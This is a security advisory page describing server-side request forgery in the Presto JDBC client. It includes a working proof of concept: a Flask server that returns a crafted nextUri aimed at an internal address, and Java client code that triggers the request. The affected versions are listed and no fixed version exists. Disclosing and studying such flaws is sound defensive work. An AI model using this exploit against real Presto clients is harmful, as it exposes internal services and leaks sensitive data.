Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS04NnE1LXFjamMtN3B2NM4AA2Oc
Presto JDBC Server-Side Request Forgery by nextUri
Summary
Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan.
Details
The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.
For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.
The relevant code is in file path /presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java
and function advance
.
The flowchart is as follows:
PoC
Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:
from flask import Flask, Response
app = Flask(__name__)
@app.route('/v1/statement', methods=['POST'])
def next_uri_to_interal_server():
data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}'
return Response(data, content_type='application/json; charset=utf-8', status=200)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8000)
Connecting to the malicious server using JDBC:
String url = "jdbc:presto://<ip>:<port>";
Properties properties = new Properties();
properties.setProperty("user", "root");
try {
Connection connection = DriverManager.getConnection(url, properties);
Statement stmt = connection.createStatement();
ResultSet res = stmt.executeQuery("show catalogs");
while(res.next()) {
System.out.println(res.getString(1));
}
} catch (Exception e) {
e.printStackTrace();
}
Pwned!
Impact
When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.
Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance
Permalink: https://github.com/advisories/GHSA-86q5-qcjc-7pv4JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NnE1LXFjamMtN3B2NM4AA2Oc
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 year ago
Updated: about 1 year ago
CVSS Score: 7.6
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Identifiers: GHSA-86q5-qcjc-7pv4
References:
- https://github.com/prestodb/presto/security/advisories/GHSA-86q5-qcjc-7pv4
- https://github.com/advisories/GHSA-86q5-qcjc-7pv4
Blast Radius: 20.1
Affected Packages
maven:com.facebook.presto:presto-jdbc
Dependent packages: 33Dependent repositories: 441
Downloads:
Affected Version Ranges: <= 0.283
No known fixed version
All affected versions: 0.144.1, 0.144.2, 0.144.3, 0.144.4, 0.144.5, 0.144.6, 0.144.7, 0.144.8, 0.152.1, 0.152.2, 0.152.3, 0.157.1, 0.223.1, 0.231.1, 0.233.1, 0.234.1, 0.234.2, 0.234.3, 0.235.1, 0.236.1, 0.237.1, 0.237.2, 0.238.1, 0.238.2, 0.239.1, 0.239.2, 0.239.3, 0.240.1, 0.242.1, 0.243.1, 0.243.2, 0.243.3, 0.243.4, 0.244.1, 0.245.1, 0.248.1, 0.249.1, 0.251.1, 0.253.1, 0.254.1, 0.259.1, 0.260.1, 0.263.1, 0.264.1, 0.265.1, 0.266.1, 0.271.1, 0.272.1, 0.273.1, 0.273.2, 0.273.3, 0.273.4, 0.276.1, 0.276.2, 0.278.1